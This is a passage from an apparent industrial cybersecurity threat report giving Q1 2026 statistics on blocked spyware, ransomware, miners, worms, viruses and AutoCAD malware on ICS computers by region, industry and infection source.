The percentage of ICS computers on which spyware was blocked decreased over two consecutive quarters, dropping to 3.73%. Despite the decline, spyware has ranked second among threat categories by the percentage of attacked computers for three consecutive quarters.

The percentages increased in five regions over the quarter, most notably in Southern Europe (5.46%, +0.35 pp) and Russia (2.84%, +0.24 pp).

In Southern Europe, the percentage of ICS computers on which spyware was blocked increased in all the selected industries except manufacturing. The greatest increase was observed in biometric systems.

Among the selected industries, the highest percentage of spyware in Russia was recorded in biometric systems. That said, the percentage of ICS computers on which spyware was blocked increased in all industries in the region except construction. The percentage figure has been increasing for two consecutive quarters in the oil and gas industry (by a factor of 1.63 over six months), and for three consecutive quarters in engineering and ICS integration, as well as electric power. In the remaining sectors, the values have been fluctuating.

Denylisted internet resources

The percentage of ICS computers on which denylisted internet resources were blocked increased to 3.54%.

The most notable increase over the quarter occurred in Southeast Asia (4.58%, +0.65 pp). Among the industries in the region, the highest percentage figures for this threat category were recorded in electric power and construction. Over the quarter, the largest increases in percentages figures were observed in the electric power and manufacturing industries.

In North America (Canada), denylisted internet resources (2.14%) showed the greatest increase among all categories — by a factor of 1.22.

Among the selected industries across all regions, the highest percentage figures for the denylisted internet resources category were in the electric power (7.11%) and construction (6.25%) industries in Southeast Asia.

Malicious documents (Microsoft Office + PDF)

The percentage figure for this category decreased over two consecutive quarters, reaching its lowest value (1.56%) for the entire period of observations in Q1 2026. It increased just in two regions: Australia and New Zealand (1.12%, +0.04 pp), and Russia (0.62%, +0.01 pp).

Among the selected industries across all regions, the highest percentages for malicious documents were recorded for biometric systems (9.02%) and building automation (6.97%) in Southern Europe. These same industries also lead in similar rankings for malicious scripts and spyware.

Ransomware

The percentage of ICS computers on which ransomware was blocked has decreased for two consecutive quarters, dropping to 0.14%. This is the lowest value among all categories.

The percentage increased in two regions: North America (Canada) (0.11%, +0.04 pp) and slightly in Northern Europe (0.06%, +0.01 pp).

Among the selected industries across all regions, the highest percentages for ransomware were recorded in the oil and gas and manufacturing industries (0.92% and 0.65%, respectively) in Central Asia and the South Caucasus, and in biometric systems (0.89%) in Russia.

Miners in the form of executable files for Windows

The percentage of ICS computers on which miners in the form of executable files for Windows were blocked decreased to 0.59%.

The percentage increased in seven regions. The largest increase was observed in Africa (0.63%, +0.16 pp). Among the selected industries, the largest increases in the region were in the manufacturing and oil and gas industries.

Among the selected industries across all regions, the highest percentages for miners in the form of executable files were recorded in construction (1.99%), biometric systems (1.98%), and the oil and gas industry (1.97%) in Central Asia and the South Caucasus.

Web miners

The percentage of ICS computers on which web miners were blocked has been declining for a year, and in Q1 2026, it reached the lowest value for the entire period under review (0.22%).

At the same time, the percentage increased in seven regions. The largest increases were observed in South Asia (0.28%, +0.11 pp), the Middle East (0.31%, +0.09 pp), and Africa (0.34%, +0.08 pp). Despite the increases, the percentages in these regions for Q1 2026 did not exceed those observed in 2023–2024 and in Q1 2025.

Among the selected industries across all regions, the highest percentages for web miners were recorded for biometric systems (0.97%) in Russia. Biometric systems in South Asia (0.79%) ranked second, and the electric power sector in Southeast Asia (0.76%) ranked third.

Worms

The percentage of ICS computers on which worms were blocked decreased to 1.33%.

The percentage decreased across all regions following an increase in the previous quarter (due to a wave of phishing attacks that distributed the Backdoor.MSIL.XWorm backdoor worm across all regions of the world).

Among the selected industries across all regions, the highest percentage figure for worms was recorded for biometric systems (4.80%) in Central Asia and the South Caucasus. Two industries in Africa – biometric systems (4.04%) and electric power (3.53%) – took the second and third spots, respectively.

Viruses

The percentage of ICS computers on which viruses were blocked decreased to 1.31%.

The top 3 regions by this figure remained the same: Southeast Asia (6.11%, first by a wide margin), Africa (4.15%), and East Asia (2.97%). These same regions are also among the leaders by the percentage of systems affected by AutoCAD malware. The largest increase in this figure was observed in Africa (+0.41 pp).

Among the selected industries across all regions, the highest percentages for viruses were recorded in the construction industry (6.35%) and building automation (5.50%) in Southeast Asia.

Malware for AutoCAD

The percentage of ICS computers on which malware for AutoCAD was blocked increased to 0.30%.

The most notable increase over the quarter was observed in Africa, with the region’s percentage figure rising by 0.47 pp, a very significant increase for this category, and almost doubling (to 0.91%).

Among the selected industries across all regions, the highest percentages for AutoCAD malware were recorded in the construction industry in East Asia (5.58%) and Southeast Asia (3.87%).

Main threat sources

In Q1 2026, the average percentages across all threat sources, except threats from the internet, decreased globally.

Internet

The percentage of ICS computers on which threats from the internet were blocked increased to 7.88%. However, over the past three years, the percentage figure for internet threats has followed a downward trend.

The largest increases in the percentages were recorded in Southern Europe (8.59%, +0.59 pp), Southeast Asia (10.16%, +0.55 pp), and Northern Europe (4.47%, +0.51 pp).

Among the selected industries across all regions, the highest percentages for threats from the internet were recorded in electric power (13.16%) and construction (12.55%) in Southeast Asia, and in the engineering and ICS integration sector (12.33%) in South Asia.

Email clients

The percentage of ICS computers on which threats delivered via email clients were blocked decreased to 2.59%. This is a three-year low.

The percentage of this threat source increased in three regions: Southern Europe (6.54%, +0.2 pp), East Asia (1.5%, +0.09 pp), and slightly in Russia (0.7%, +0.04 pp).

Among the selected industries across all regions, the highest percentages for email threats were recorded for biometric systems (19.78%) and building automation (12.34%) in Southern Europe. In these two industries, the percentage of ICS computers on which email threats are blocked is higher than the percentage for threats from the internet. A similar situation was observed in two other instances, both in biometric systems (in South America and Southeast Asia).

Removable media

The percentage of ICS computers on which threats were detected when connecting removable media continued to decrease, reaching its lowest value for the period under review (0.26%).

Among the selected industries across all regions, the highest percentages for removable media threats blocked on ICS computers were observed in the electric power sector in Central Asia and the South Caucasus (1.45%), East Asia (1.34%), and Africa (1.16%).

Network folders

The percentage of ICS computers on which threats are blocked in network folders is steadily decreasing. In Q1 2026, it was the lowest for the period under review (0.029%).

East Asia has traditionally led by a wide margin. The percentage for East Asia (0.135%) is 27 times higher than the lowest regional value (recorded in Northern Europe).

The largest increases in the percentages for threats from network folders were observed in Africa (0.037%, +0.006 pp) and South America (0.013%, +0.006 pp).
Among the selected industries across all regions, the construction industry in East Asia, at 0.36%, holds the top positions in the ranking by the percentage of ICS computers on which threats are blocked in network folders.

For more information on industrial threats see the full version of the report.